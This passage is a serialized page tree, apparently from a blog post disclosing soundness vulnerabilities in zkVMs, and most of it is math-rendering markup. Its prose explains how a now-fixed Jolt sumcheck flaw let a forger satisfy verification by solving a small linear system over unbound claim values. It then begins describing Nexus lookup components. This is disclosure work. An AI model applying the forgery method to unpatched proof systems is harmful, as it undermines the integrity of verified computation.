",{"type":25,"tag":82,"props":119481,"children":119483},{"className":119482},[212,4696],[119484],{"type":25,"tag":216,"props":119485,"children":119487},{"className":119486},[224],[119488],{"type":25,"tag":216,"props":119489,"children":119491},{"className":119490,"ariaHidden":230},[229],[119492],{"type":25,"tag":216,"props":119493,"children":119495},{"className":119494},[235],[119496,119500],{"type":25,"tag":216,"props":119497,"children":119499},{"className":119498,"style":4713},[240],[],{"type":25,"tag":216,"props":119501,"children":119503},{"className":119502},[246],[119504,119509],{"type":25,"tag":216,"props":119505,"children":119507},{"className":119506,"style":2673},[246,2145],[119508],{"type":31,"value":2676},{"type":25,"tag":216,"props":119510,"children":119512},{"className":119511},[2153],[119513],{"type":25,"tag":216,"props":119514,"children":119516},{"className":119515},[298,299],[119517,119546],{"type":25,"tag":216,"props":119518,"children":119520},{"className":119519},[304],[119521,119541],{"type":25,"tag":216,"props":119522,"children":119524},{"className":119523,"style":2264},[309],[119525],{"type":25,"tag":216,"props":119526,"children":119527},{"style":2696},[119528,119532],{"type":25,"tag":216,"props":119529,"children":119531},{"className":119530,"style":2175},[319],[],{"type":25,"tag":216,"props":119533,"children":119535},{"className":119534},[2180,2181,2182,2183],[119536],{"type":25,"tag":216,"props":119537,"children":119539},{"className":119538},[246,2145,2183],[119540],{"type":31,"value":2283},{"type":25,"tag":216,"props":119542,"children":119544},{"className":119543},[408],[119545],{"type":31,"value":411},{"type":25,"tag":216,"props":119547,"children":119549},{"className":119548},[304],[119550],{"type":25,"tag":216,"props":119551,"children":119553},{"className":119552,"style":2203},[309],[119554],{"type":25,"tag":216,"props":119555,"children":119556},{},[],{"type":31,"value":1466},{"type":25,"tag":38,"props":119559,"children":119560},{},[119561],{"type":25,"tag":82,"props":119562,"children":119564},{"className":119563},[212,4696],[119565],{"type":25,"tag":216,"props":119566,"children":119568},{"className":119567},[224],[119569],{"type":25,"tag":216,"props":119570,"children":119572},{"className":119571,"ariaHidden":230},[229],[119573,119603,119744],{"type":25,"tag":216,"props":119574,"children":119576},{"className":119575},[235],[119577,119581,119590,119594,119599],{"type":25,"tag":216,"props":119578,"children":119580},{"className":119579,"style":96927},[240],[],{"type":25,"tag":216,"props":119582,"children":119584},{"className":119583},[246,31],[119585],{"type":25,"tag":216,"props":119586,"children":119588},{"className":119587},[246],[119589],{"type":31,"value":119477},{"type":25,"tag":216,"props":119591,"children":119593},{"className":119592,"style":258},[257],[],{"type":25,"tag":216,"props":119595,"children":119597},{"className":119596},[263],[119598],{"type":31,"value":266},{"type":25,"tag":216,"props":119600,"children":119602},{"className":119601,"style":258},[257],[],{"type":25,"tag":216,"props":119604,"children":119606},{"className":119605},[235],[119607,119612,119669,119673,119731,119735,119740],{"type":25,"tag":216,"props":119608,"children":119611},{"className":119609,"style":119610},[240],"height:1.0497em;vertical-align:-0.2997em;",[],{"type":25,"tag":216,"props":119613,"children":119615},{"className":119614},[1835],[119616,119621],{"type":25,"tag":216,"props":119617,"children":119619},{"className":119618,"style":25578},[1835,4042,25577],[119620],{"type":31,"value":4046},{"type":25,"tag":216,"props":119622,"children":119624},{"className":119623},[2153],[119625],{"type":25,"tag":216,"props":119626,"children":119628},{"className":119627},[298,299],[119629,119658],{"type":25,"tag":216,"props":119630,"children":119632},{"className":119631},[304],[119633,119653],{"type":25,"tag":216,"props":119634,"children":119636},{"className":119635,"style":118185},[309],[119637],{"type":25,"tag":216,"props":119638,"children":119639},{"style":25601},[119640,119644],{"type":25,"tag":216,"props":119641,"children":119643},{"className":119642,"style":2175},[319],[],{"type":25,"tag":216,"props":119645,"children":119647},{"className":119646},[2180,2181,2182,2183],[119648],{"type":25,"tag":216,"props":119649,"children":119651},{"className":119650},[246,2145,2183],[119652],{"type":31,"value":2283},{"type":25,"tag":216,"props":119654,"children":119656},{"className":119655},[408],[119657],{"type":31,"value":411},{"type":25,"tag":216,"props":119659,"children":119661},{"className":119660},[304],[119662],{"type":25,"tag":216,"props":119663,"children":119665},{"className":119664,"style":118465},[309],[119666],{"type":25,"tag":216,"props":119667,"children":119668},{},[],{"type":25,"tag":216,"props":119670,"children":119672},{"className":119671,"style":1865},[257],[],{"type":25,"tag":216,"props":119674,"children":119676},{"className":119675},[246],[119677,119682],{"type":25,"tag":216,"props":119678,"children":119680},{"className":119679,"style":119065},[246,2145],[119681],{"type":31,"value":119068},{"type":25,"tag":216,"props":119683,"children":119685},{"className":119684},[2153],[119686],{"type":25,"tag":216,"props":119687,"children":119689},{"className":119688},[298,299],[119690,119720],{"type":25,"tag":216,"props":119691,"children":119693},{"className":119692},[304],[119694,119715],{"type":25,"tag":216,"props":119695,"children":119697},{"className":119696,"style":2264},[309],[119698],{"type":25,"tag":216,"props":119699,"children":119701},{"style":119700},"top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;",[119702,119706],{"type":25,"tag":216,"props":119703,"children":119705},{"className":119704,"style":2175},[319],[],{"type":25,"tag":216,"props":119707,"children":119709},{"className":119708},[2180,2181,2182,2183],[119710],{"type":25,"tag":216,"props":119711,"children":119713},{"className":119712},[246,2145,2183],[119714],{"type":31,"value":2283},{"type":25,"tag":216,"props":119716,"children":119718},{"className":119717},[408],[119719],{"type":31,"value":411},{"type":25,"tag":216,"props":119721,"children":119723},{"className":119722},[304],[119724],{"type":25,"tag":216,"props":119725,"children":119727},{"className":119726,"style":2203},[309],[119728],{"type":25,"tag":216,"props":119729,"children":119730},{},[],{"type":25,"tag":216,"props":119732,"children":119734},{"className":119733,"style":335},[257],[],{"type":25,"tag":216,"props":119736,"children":119738},{"className":119737},[340],[119739],{"type":31,"value":343},{"type":25,"tag":216,"props":119741,"children":119743},{"className":119742,"style":335},[257],[],{"type":25,"tag":216,"props":119745,"children":119747},{"className":119746},[235],[119748,119752],{"type":25,"tag":216,"props":119749,"children":119751},{"className":119750,"style":4713},[240],[],{"type":25,"tag":216,"props":119753,"children":119755},{"className":119754},[246],[119756,119761],{"type":25,"tag":216,"props":119757,"children":119759},{"className":119758,"style":2673},[246,2145],[119760],{"type":31,"value":2676},{"type":25,"tag":216,"props":119762,"children":119764},{"className":119763},[2153],[119765],{"type":25,"tag":216,"props":119766,"children":119768},{"className":119767},[298,299],[119769,119798],{"type":25,"tag":216,"props":119770,"children":119772},{"className":119771},[304],[119773,119793],{"type":25,"tag":216,"props":119774,"children":119776},{"className":119775,"style":2264},[309],[119777],{"type":25,"tag":216,"props":119778,"children":119779},{"style":2696},[119780,119784],{"type":25,"tag":216,"props":119781,"children":119783},{"className":119782,"style":2175},[319],[],{"type":25,"tag":216,"props":119785,"children":119787},{"className":119786},[2180,2181,2182,2183],[119788],{"type":25,"tag":216,"props":119789,"children":119791},{"className":119790},[246,2145,2183],[119792],{"type":31,"value":2283},{"type":25,"tag":216,"props":119794,"children":119796},{"className":119795},[408],[119797],{"type":31,"value":411},{"type":25,"tag":216,"props":119799,"children":119801},{"className":119800},[304],[119802],{"type":25,"tag":216,"props":119803,"children":119805},{"className":119804,"style":2203},[309],[119806],{"type":25,"tag":216,"props":119807,"children":119808},{},[],{"type":25,"tag":38,"props":119810,"children":119811},{},[119812,119814,119891,119893,119898,119900,119977,119979,120056,120058,120135],{"type":31,"value":119813},"where ",{"type":25,"tag":82,"props":119815,"children":119817},{"className":119816},[212,4696],[119818],{"type":25,"tag":216,"props":119819,"children":119821},{"className":119820},[224],[119822],{"type":25,"tag":216,"props":119823,"children":119825},{"className":119824,"ariaHidden":230},[229],[119826],{"type":25,"tag":216,"props":119827,"children":119829},{"className":119828},[235],[119830,119834],{"type":25,"tag":216,"props":119831,"children":119833},{"className":119832,"style":4821},[240],[],{"type":25,"tag":216,"props":119835,"children":119837},{"className":119836},[246],[119838,119843],{"type":25,"tag":216,"props":119839,"children":119841},{"className":119840,"style":119065},[246,2145],[119842],{"type":31,"value":119068},{"type":25,"tag":216,"props":119844,"children":119846},{"className":119845},[2153],[119847],{"type":25,"tag":216,"props":119848,"children":119850},{"className":119849},[298,299],[119851,119880],{"type":25,"tag":216,"props":119852,"children":119854},{"className":119853},[304],[119855,119875],{"type":25,"tag":216,"props":119856,"children":119858},{"className":119857,"style":2264},[309],[119859],{"type":25,"tag":216,"props":119860,"children":119861},{"style":119700},[119862,119866],{"type":25,"tag":216,"props":119863,"children":119865},{"className":119864,"style":2175},[319],[],{"type":25,"tag":216,"props":119867,"children":119869},{"className":119868},[2180,2181,2182,2183],[119870],{"type":25,"tag":216,"props":119871,"children":119873},{"className":119872},[246,2145,2183],[119874],{"type":31,"value":2283},{"type":25,"tag":216,"props":119876,"children":119878},{"className":119877},[408],[119879],{"type":31,"value":411},{"type":25,"tag":216,"props":119881,"children":119883},{"className":119882},[304],[119884],{"type":25,"tag":216,"props":119885,"children":119887},{"className":119886,"style":2203},[309],[119888],{"type":25,"tag":216,"props":119889,"children":119890},{},[],{"type":31,"value":119892}," are random coefficients derived from the transcript. Since ",{"type":25,"tag":82,"props":119894,"children":119896},{"className":119895},[],[119897],{"type":31,"value":119441},{"type":31,"value":119899}," (containing ",{"type":25,"tag":82,"props":119901,"children":119903},{"className":119902},[212,4696],[119904],{"type":25,"tag":216,"props":119905,"children":119907},{"className":119906},[224],[119908],{"type":25,"tag":216,"props":119909,"children":119911},{"className":119910,"ariaHidden":230},[229],[119912],{"type":25,"tag":216,"props":119913,"children":119915},{"className":119914},[235],[119916,119920],{"type":25,"tag":216,"props":119917,"children":119919},{"className":119918,"style":4713},[240],[],{"type":25,"tag":216,"props":119921,"children":119923},{"className":119922},[246],[119924,119929],{"type":25,"tag":216,"props":119925,"children":119927},{"className":119926,"style":2673},[246,2145],[119928],{"type":31,"value":2676},{"type":25,"tag":216,"props":119930,"children":119932},{"className":119931},[2153],[119933],{"type":25,"tag":216,"props":119934,"children":119936},{"className":119935},[298,299],[119937,119966],{"type":25,"tag":216,"props":119938,"children":119940},{"className":119939},[304],[119941,119961],{"type":25,"tag":216,"props":119942,"children":119944},{"className":119943,"style":2264},[309],[119945],{"type":25,"tag":216,"props":119946,"children":119947},{"style":2696},[119948,119952],{"type":25,"tag":216,"props":119949,"children":119951},{"className":119950,"style":2175},[319],[],{"type":25,"tag":216,"props":119953,"children":119955},{"className":119954},[2180,2181,2182,2183],[119956],{"type":25,"tag":216,"props":119957,"children":119959},{"className":119958},[246,2145,2183],[119960],{"type":31,"value":2283},{"type":25,"tag":216,"props":119962,"children":119964},{"className":119963},[408],[119965],{"type":31,"value":411},{"type":25,"tag":216,"props":119967,"children":119969},{"className":119968},[304],[119970],{"type":25,"tag":216,"props":119971,"children":119973},{"className":119972,"style":2203},[309],[119974],{"type":25,"tag":216,"props":119975,"children":119976},{},[],{"type":31,"value":119978},") were not in the transcript, the ",{"type":25,"tag":82,"props":119980,"children":119982},{"className":119981},[212,4696],[119983],{"type":25,"tag":216,"props":119984,"children":119986},{"className":119985},[224],[119987],{"type":25,"tag":216,"props":119988,"children":119990},{"className":119989,"ariaHidden":230},[229],[119991],{"type":25,"tag":216,"props":119992,"children":119994},{"className":119993},[235],[119995,119999],{"type":25,"tag":216,"props":119996,"children":119998},{"className":119997,"style":4821},[240],[],{"type":25,"tag":216,"props":120000,"children":120002},{"className":120001},[246],[120003,120008],{"type":25,"tag":216,"props":120004,"children":120006},{"className":120005,"style":119065},[246,2145],[120007],{"type":31,"value":119068},{"type":25,"tag":216,"props":120009,"children":120011},{"className":120010},[2153],[120012],{"type":25,"tag":216,"props":120013,"children":120015},{"className":120014},[298,299],[120016,120045],{"type":25,"tag":216,"props":120017,"children":120019},{"className":120018},[304],[120020,120040],{"type":25,"tag":216,"props":120021,"children":120023},{"className":120022,"style":2264},[309],[120024],{"type":25,"tag":216,"props":120025,"children":120026},{"style":119700},[120027,120031],{"type":25,"tag":216,"props":120028,"children":120030},{"className":120029,"style":2175},[319],[],{"type":25,"tag":216,"props":120032,"children":120034},{"className":120033},[2180,2181,2182,2183],[120035],{"type":25,"tag":216,"props":120036,"children":120038},{"className":120037},[246,2145,2183],[120039],{"type":31,"value":2283},{"type":25,"tag":216,"props":120041,"children":120043},{"className":120042},[408],[120044],{"type":31,"value":411},{"type":25,"tag":216,"props":120046,"children":120048},{"className":120047},[304],[120049],{"type":25,"tag":216,"props":120050,"children":120052},{"className":120051,"style":2203},[309],[120053],{"type":25,"tag":216,"props":120054,"children":120055},{},[],{"type":31,"value":120057}," values are independent of ",{"type":25,"tag":82,"props":120059,"children":120061},{"className":120060},[212,4696],[120062],{"type":25,"tag":216,"props":120063,"children":120065},{"className":120064},[224],[120066],{"type":25,"tag":216,"props":120067,"children":120069},{"className":120068,"ariaHidden":230},[229],[120070],{"type":25,"tag":216,"props":120071,"children":120073},{"className":120072},[235],[120074,120078],{"type":25,"tag":216,"props":120075,"children":120077},{"className":120076,"style":4713},[240],[],{"type":25,"tag":216,"props":120079,"children":120081},{"className":120080},[246],[120082,120087],{"type":25,"tag":216,"props":120083,"children":120085},{"className":120084,"style":2673},[246,2145],[120086],{"type":31,"value":2676},{"type":25,"tag":216,"props":120088,"children":120090},{"className":120089},[2153],[120091],{"type":25,"tag":216,"props":120092,"children":120094},{"className":120093},[298,299],[120095,120124],{"type":25,"tag":216,"props":120096,"children":120098},{"className":120097},[304],[120099,120119],{"type":25,"tag":216,"props":120100,"children":120102},{"className":120101,"style":2264},[309],[120103],{"type":25,"tag":216,"props":120104,"children":120105},{"style":2696},[120106,120110],{"type":25,"tag":216,"props":120107,"children":120109},{"className":120108,"style":2175},[319],[],{"type":25,"tag":216,"props":120111,"children":120113},{"className":120112},[2180,2181,2182,2183],[120114],{"type":25,"tag":216,"props":120115,"children":120117},{"className":120116},[246,2145,2183],[120118],{"type":31,"value":2283},{"type":25,"tag":216,"props":120120,"children":120122},{"className":120121},[408],[120123],{"type":31,"value":411},{"type":25,"tag":216,"props":120125,"children":120127},{"className":120126},[304],[120128],{"type":25,"tag":216,"props":120129,"children":120131},{"className":120130,"style":2203},[309],[120132],{"type":25,"tag":216,"props":120133,"children":120134},{},[],{"type":31,"value":179},{"type":25,"tag":38,"props":120137,"children":120138},{},[120139],{"type":25,"tag":9267,"props":120140,"children":120141},{},[120142],{"type":31,"value":120143},"Why it's linear:",{"type":25,"tag":38,"props":120145,"children":120146},{},[120147,120149],{"type":31,"value":120148},"Due to the compression optimization (prover omits one less coefficient per round), the final verification equation traces back through the rounds and becomes linear in the input claim ",{"type":25,"tag":82,"props":120150,"children":120152},{"className":120151},[212,4696],[120153],{"type":25,"tag":216,"props":120154,"children":120156},{"className":120155},[224],[120157],{"type":25,"tag":216,"props":120158,"children":120160},{"className":120159,"ariaHidden":230},[229],[120161],{"type":25,"tag":216,"props":120162,"children":120164},{"className":120163},[235],[120165,120169],{"type":25,"tag":216,"props":120166,"children":120168},{"className":120167,"style":4793},[240],[],{"type":25,"tag":216,"props":120170,"children":120172},{"className":120171,"style":2673},[246,2145],[120173],{"type":31,"value":2676},{"type":25,"tag":38,"props":120175,"children":120176},{},[120177],{"type":25,"tag":82,"props":120178,"children":120180},{"className":120179},[212,4696],[120181],{"type":25,"tag":216,"props":120182,"children":120184},{"className":120183},[224],[120185],{"type":25,"tag":216,"props":120186,"children":120188},{"className":120187,"ariaHidden":230},[229],[120189,120279,120305,120331],{"type":25,"tag":216,"props":120190,"children":120192},{"className":120191},[235],[120193,120197,120266,120270,120275],{"type":25,"tag":216,"props":120194,"children":120196},{"className":120195,"style":4713},[240],[],{"type":25,"tag":216,"props":120198,"children":120200},{"className":120199},[246],[120201,120207],{"type":25,"tag":216,"props":120202,"children":120204},{"className":120203,"style":26059},[246,2145],[120205],{"type":31,"value":120206},"C",{"type":25,"tag":216,"props":120208,"children":120210},{"className":120209},[2153],[120211],{"type":25,"tag":216,"props":120212,"children":120214},{"className":120213},[298,299],[120215,120255],{"type":25,"tag":216,"props":120216,"children":120218},{"className":120217},[304],[120219,120250],{"type":25,"tag":216,"props":120220,"children":120223},{"className":120221,"style":120222},[309],"height:0.3361em;",[120224],{"type":25,"tag":216,"props":120225,"children":120227},{"style":120226},"top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;",[120228,120232],{"type":25,"tag":216,"props":120229,"children":120231},{"className":120230,"style":2175},[319],[],{"type":25,"tag":216,"props":120233,"children":120235},{"className":120234},[2180,2181,2182,2183],[120236],{"type":25,"tag":216,"props":120237,"children":120239},{"className":120238},[246,2183],[120240],{"type":25,"tag":216,"props":120241,"children":120243},{"className":120242},[246,31,2183],[120244],{"type":25,"tag":216,"props":120245,"children":120247},{"className":120246},[246,2183],[120248],{"type":31,"value":120249},"final",{"type":25,"tag":216,"props":120251,"children":120253},{"className":120252},[408],[120254],{"type":31,"value":411},{"type":25,"tag":216,"props":120256,"children":120258},{"className":120257},[304],[120259],{"type":25,"tag":216,"props":120260,"children":120262},{"className":120261,"style":2203},[309],[120263],{"type":25,"tag":216,"props":120264,"children":120265},{},[],{"type":25,"tag":216,"props":120267,"children":120269},{"className":120268,"style":258},[257],[],{"type":25,"tag":216,"props":120271,"children":120273},{"className":120272},[263],[120274],{"type":31,"value":266},{"type":25,"tag":216,"props":120276,"children":120278},{"className":120277,"style":258},[257],[],{"type":25,"tag":216,"props":120280,"children":120282},{"className":120281},[235],[120283,120287,120292,120296,120301],{"type":25,"tag":216,"props":120284,"children":120286},{"className":120285,"style":119060},[240],[],{"type":25,"tag":216,"props":120288,"children":120290},{"className":120289},[246,2145],[120291],{"type":31,"value":162},{"type":25,"tag":216,"props":120293,"children":120295},{"className":120294,"style":335},[257],[],{"type":25,"tag":216,"props":120297,"children":120299},{"className":120298},[340],[120300],{"type":31,"value":343},{"type":25,"tag":216,"props":120302,"children":120304},{"className":120303,"style":335},[257],[],{"type":25,"tag":216,"props":120306,"children":120308},{"className":120307},[235],[120309,120313,120318,120322,120327],{"type":25,"tag":216,"props":120310,"children":120312},{"className":120311,"style":119089},[240],[],{"type":25,"tag":216,"props":120314,"children":120316},{"className":120315,"style":2673},[246,2145],[120317],{"type":31,"value":2676},{"type":25,"tag":216,"props":120319,"children":120321},{"className":120320,"style":335},[257],[],{"type":25,"tag":216,"props":120323,"children":120325},{"className":120324},[340],[120326],{"type":31,"value":3533},{"type":25,"tag":216,"props":120328,"children":120330},{"className":120329,"style":335},[257],[],{"type":25,"tag":216,"props":120332,"children":120334},{"className":120333},[235],[120335,120339],{"type":25,"tag":216,"props":120336,"children":120338},{"className":120337,"style":96927},[240],[],{"type":25,"tag":216,"props":120340,"children":120342},{"className":120341},[246,2145],[120343],{"type":31,"value":7165},{"type":25,"tag":38,"props":120345,"children":120346},{},[120347,120348,120387,120389,120414,120416,120546,120548,120669],{"type":31,"value":119813},{"type":25,"tag":82,"props":120349,"children":120351},{"className":120350},[212,4696],[120352],{"type":25,"tag":216,"props":120353,"children":120355},{"className":120354},[224],[120356],{"type":25,"tag":216,"props":120357,"children":120359},{"className":120358,"ariaHidden":230},[229],[120360],{"type":25,"tag":216,"props":120361,"children":120363},{"className":120362},[235],[120364,120368,120373,120378,120382],{"type":25,"tag":216,"props":120365,"children":120367},{"className":120366,"style":1513},[240],[],{"type":25,"tag":216,"props":120369,"children":120371},{"className":120370},[246,2145],[120372],{"type":31,"value":162},{"type":25,"tag":216,"props":120374,"children":120376},{"className":120375},[1858],[120377],{"type":31,"value":1861},{"type":25,"tag":216,"props":120379,"children":120381},{"className":120380,"style":1865},[257],[],{"type":25,"tag":216,"props":120383,"children":120385},{"className":120384},[246,2145],[120386],{"type":31,"value":7165},{"type":31,"value":120388}," are determined by the transcript (independent of ",{"type":25,"tag":82,"props":120390,"children":120392},{"className":120391},[212,4696],[120393],{"type":25,"tag":216,"props":120394,"children":120396},{"className":120395},[224],[120397],{"type":25,"tag":216,"props":120398,"children":120400},{"className":120399,"ariaHidden":230},[229],[120401],{"type":25,"tag":216,"props":120402,"children":120404},{"className":120403},[235],[120405,120409],{"type":25,"tag":216,"props":120406,"children":120408},{"className":120407,"style":4793},[240],[],{"type":25,"tag":216,"props":120410,"children":120412},{"className":120411,"style":2673},[246,2145],[120413],{"type":31,"value":2676},{"type":31,"value":120415},"). The verifier checks that ",{"type":25,"tag":82,"props":120417,"children":120419},{"className":120418},[212,4696],[120420],{"type":25,"tag":216,"props":120421,"children":120423},{"className":120422},[224],[120424],{"type":25,"tag":216,"props":120425,"children":120427},{"className":120426,"ariaHidden":230},[229],[120428,120514],{"type":25,"tag":216,"props":120429,"children":120431},{"className":120430},[235],[120432,120436,120501,120505,120510],{"type":25,"tag":216,"props":120433,"children":120435},{"className":120434,"style":4713},[240],[],{"type":25,"tag":216,"props":120437,"children":120439},{"className":120438},[246],[120440,120445],{"type":25,"tag":216,"props":120441,"children":120443},{"className":120442,"style":26059},[246,2145],[120444],{"type":31,"value":120206},{"type":25,"tag":216,"props":120446,"children":120448},{"className":120447},[2153],[120449],{"type":25,"tag":216,"props":120450,"children":120452},{"className":120451},[298,299],[120453,120490],{"type":25,"tag":216,"props":120454,"children":120456},{"className":120455},[304],[120457,120485],{"type":25,"tag":216,"props":120458,"children":120460},{"className":120459,"style":120222},[309],[120461],{"type":25,"tag":216,"props":120462,"children":120463},{"style":120226},[120464,120468],{"type":25,"tag":216,"props":120465,"children":120467},{"className":120466,"style":2175},[319],[],{"type":25,"tag":216,"props":120469,"children":120471},{"className":120470},[2180,2181,2182,2183],[120472],{"type":25,"tag":216,"props":120473,"children":120475},{"className":120474},[246,2183],[120476],{"type":25,"tag":216,"props":120477,"children":120479},{"className":120478},[246,31,2183],[120480],{"type":25,"tag":216,"props":120481,"children":120483},{"className":120482},[246,2183],[120484],{"type":31,"value":120249},{"type":25,"tag":216,"props":120486,"children":120488},{"className":120487},[408],[120489],{"type":31,"value":411},{"type":25,"tag":216,"props":120491,"children":120493},{"className":120492},[304],[120494],{"type":25,"tag":216,"props":120495,"children":120497},{"className":120496,"style":2203},[309],[120498],{"type":25,"tag":216,"props":120499,"children":120500},{},[],{"type":25,"tag":216,"props":120502,"children":120504},{"className":120503,"style":258},[257],[],{"type":25,"tag":216,"props":120506,"children":120508},{"className":120507},[263],[120509],{"type":31,"value":266},{"type":25,"tag":216,"props":120511,"children":120513},{"className":120512,"style":258},[257],[],{"type":25,"tag":216,"props":120515,"children":120517},{"className":120516},[235],[120518,120522,120532,120537],{"type":25,"tag":216,"props":120519,"children":120521},{"className":120520,"style":241},[240],[],{"type":25,"tag":216,"props":120523,"children":120525},{"className":120524},[246,31],[120526],{"type":25,"tag":216,"props":120527,"children":120529},{"className":120528},[246],[120530],{"type":31,"value":120531},"expected",{"type":25,"tag":216,"props":120533,"children":120535},{"className":120534,"style":2746},[246],[120536],{"type":31,"value":7025},{"type":25,"tag":216,"props":120538,"children":120540},{"className":120539},[246,31],[120541],{"type":25,"tag":216,"props":120542,"children":120544},{"className":120543},[246],[120545],{"type":31,"value":41505},{"type":31,"value":120547}," (from PCS opening), this becomes ",{"type":25,"tag":82,"props":120549,"children":120551},{"className":120550},[212,4696],[120552],{"type":25,"tag":216,"props":120553,"children":120555},{"className":120554},[224],[120556],{"type":25,"tag":216,"props":120557,"children":120559},{"className":120558,"ariaHidden":230},[229],[120560,120586,120612,120638],{"type":25,"tag":216,"props":120561,"children":120563},{"className":120562},[235],[120564,120568,120573,120577,120582],{"type":25,"tag":216,"props":120565,"children":120567},{"className":120566,"style":119060},[240],[],{"type":25,"tag":216,"props":120569,"children":120571},{"className":120570},[246,2145],[120572],{"type":31,"value":162},{"type":25,"tag":216,"props":120574,"children":120576},{"className":120575,"style":335},[257],[],{"type":25,"tag":216,"props":120578,"children":120580},{"className":120579},[340],[120581],{"type":31,"value":343},{"type":25,"tag":216,"props":120583,"children":120585},{"className":120584,"style":335},[257],[],{"type":25,"tag":216,"props":120587,"children":120589},{"className":120588},[235],[120590,120594,120599,120603,120608],{"type":25,"tag":216,"props":120591,"children":120593},{"className":120592,"style":119089},[240],[],{"type":25,"tag":216,"props":120595,"children":120597},{"className":120596,"style":2673},[246,2145],[120598],{"type":31,"value":2676},{"type":25,"tag":216,"props":120600,"children":120602},{"className":120601,"style":335},[257],[],{"type":25,"tag":216,"props":120604,"children":120606},{"className":120605},[340],[120607],{"type":31,"value":3533},{"type":25,"tag":216,"props":120609,"children":120611},{"className":120610,"style":335},[257],[],{"type":25,"tag":216,"props":120613,"children":120615},{"className":120614},[235],[120616,120620,120625,120629,120634],{"type":25,"tag":216,"props":120617,"children":120619},{"className":120618,"style":96927},[240],[],{"type":25,"tag":216,"props":120621,"children":120623},{"className":120622},[246,2145],[120624],{"type":31,"value":7165},{"type":25,"tag":216,"props":120626,"children":120628},{"className":120627,"style":258},[257],[],{"type":25,"tag":216,"props":120630,"children":120632},{"className":120631},[263],[120633],{"type":31,"value":266},{"type":25,"tag":216,"props":120635,"children":120637},{"className":120636,"style":258},[257],[],{"type":25,"tag":216,"props":120639,"children":120641},{"className":120640},[235],[120642,120646,120655,120660],{"type":25,"tag":216,"props":120643,"children":120645},{"className":120644,"style":241},[240],[],{"type":25,"tag":216,"props":120647,"children":120649},{"className":120648},[246,31],[120650],{"type":25,"tag":216,"props":120651,"children":120653},{"className":120652},[246],[120654],{"type":31,"value":120531},{"type":25,"tag":216,"props":120656,"children":120658},{"className":120657,"style":2746},[246],[120659],{"type":31,"value":7025},{"type":25,"tag":216,"props":120661,"children":120663},{"className":120662},[246,31],[120664],{"type":25,"tag":216,"props":120665,"children":120667},{"className":120666},[246],[120668],{"type":31,"value":41505},{"type":31,"value":179},{"type":25,"tag":38,"props":120671,"children":120672},{},[120673],{"type":31,"value":120674},"Because multiple claims are coupled across verification stages, the attacker may need to adjust a small set of claim values simultaneously to satisfy all affected constraints.",{"type":25,"tag":38,"props":120676,"children":120677},{},[120678],{"type":31,"value":120679},"This can be exploited by solving a small linear system over a handful of unbound claim values so all affected checks pass simultaneously.",{"type":25,"tag":38,"props":120681,"children":120682},{},[120683,120688,120690],{"type":25,"tag":9267,"props":120684,"children":120685},{},[120686],{"type":31,"value":120687},"Status:",{"type":31,"value":120689}," Fixed on October 3, 2025 via ",{"type":25,"tag":162,"props":120691,"children":120694},{"href":120692,"rel":120693},"https://github.com/a16z/jolt/pull/981",[166],[120695],{"type":31,"value":120696},"PR #981",{"type":25,"tag":22747,"props":120698,"children":120699},{},[],{"type":25,"tag":607,"props":120701,"children":120703},{"id":120702},"nexus",[120704],{"type":31,"value":111818},{"type":25,"tag":38,"props":120706,"children":120707},{},[120708],{"type":31,"value":120709},"Nexus is a zkVM built on the Stwo prover (from StarkWare). It uses STARKs with logup lookup arguments.",{"type":25,"tag":38,"props":120711,"children":120712},{},[120713,120715,120720],{"type":31,"value":120714},"Nexus splits verification into ",{"type":25,"tag":9267,"props":120716,"children":120717},{},[120718],{"type":31,"value":120719},"components",{"type":31,"value":120721}," such as instruction execution, memory, registers, etc. Each component handles a subset of constraints.",{"type":25,"tag":38,"props":120723,"children":120724},{},[120725,120727,120732],{"type":31,"value":120726},"Each component emits and consumes lookup tuples. The component's ",{"type":25,"tag":82,"props":120728,"children":120730},{"className":120729},[],[120731],{"type":31,"value":118842},{"type":31,"value":120733}," summarizes its net contribution:",{"type":25,"tag":38,"props":120735,"children":120736},{},[120737],{"type":25,"tag":82,"props":120738,"children":120740},{"className":120739},[212,4696],[120741],{"type":25,"tag":216,"props":120742,"children":120744},{"className":120743},[224],[120745],{"type":25,"tag":216,"props":120746,"children":120748},{"className":120747,"ariaHidden":230},[229],[120749,120845,121094],{"type":25,"tag":216,"props":120750,"children":120752},{"className":120751},[235],[120753,120757,120766,120771,120832,120836,120841],{"type":25,"tag":216,"props":120754,"children":120756},{"className":120755,"style":241},[240],[],{"type":25,"tag":216,"props":120758,"children":120760},{"className":120759},[246,31],[120761],{"type":25,"tag":216,"props":120762,"children":120764},{"className":120763},[246],[120765],{"type":31,"value":118071},{"type":25,"tag":216,"props":120767,"children":120769},{"className":120768,"style":2746},[246],[120770],{"type":31,"value":7025},{"type":25,"tag":216,"props":120772,"children":120774},{"className":120773},[246],[120775,120784],{"type":25,"tag":216,"props":120776,"children":120778},{"className":120777},[246,31],[120779],{"type":25,"tag":216,"props":120780,"children":120782},{"className":120781},[246],[120783],{"type":31,"value":80598},{"type":25,"tag":216,"props":120785,"children":120787},{"className":120786},[2153],[120788],{"type":25,"tag":216,"props":120789,"children":120791},{"className":120790},[298,299],[120792,120821],{"type":25,"tag":216,"props":120793,"children":120795},{"className":120794},[304],[120796,120816],{"type":25,"tag":216,"props":120797,"children":120799},{"className":120798,"style":2264},[309],[120800],{"type":25,"tag":216,"props":120801,"children":120802},{"style":118108},[120803,120807],{"type":25,"tag":216,"props":120804,"children":120806},{"className":120805,"style":2175},[319],[],{"type":25,"tag":216,"props":120808,"children":120810},{"className":120809},[2180,2181,2182,2183],[120811],{"type":25,"tag":216,"props":120812,"children":120814},{"className":120813},[246,2145,2183],[120815],{"type":31,"value":2283},{"type":25,"tag":216,"props":120817,"children":120819},{"className":120818},[408],[120820],{"type":31,"value":411},{"type":25,"tag":216,"props":120822,"children":120824},{"className":120823},[304],[120825],{"type":25,"tag":216,"props":120826,"children":120828},{"className":120827,"style":2203},[309],[120829],{"type":25,"tag":216,"props":120830,"children":120831},{},[],{"type":25,"tag":216,"props":120833,"children":120835},{"className":120834,"style":258},[257],[],{"type":25,"tag":216,"props":120837,"children":120839},{"className":120838},[263],[120840],{"type":31,"value":266},{"type":25,"tag":216,"props":120842,"children":120844},{"className":120843,"style":258},[257],[],{"type":25,"tag":216,"props":120846,"children":120848},{"className":120847},[235],[120849,120854,120911,120915,121081,121085,121090],{"type":25,"tag":216,"props":120850,"children":120853},{"className":120851,"style":120852},[240],"height:1.4734em;vertical-align:-0.6283em;",[],{"type":25,"tag":216,"props":120855,"children":120857},{"className":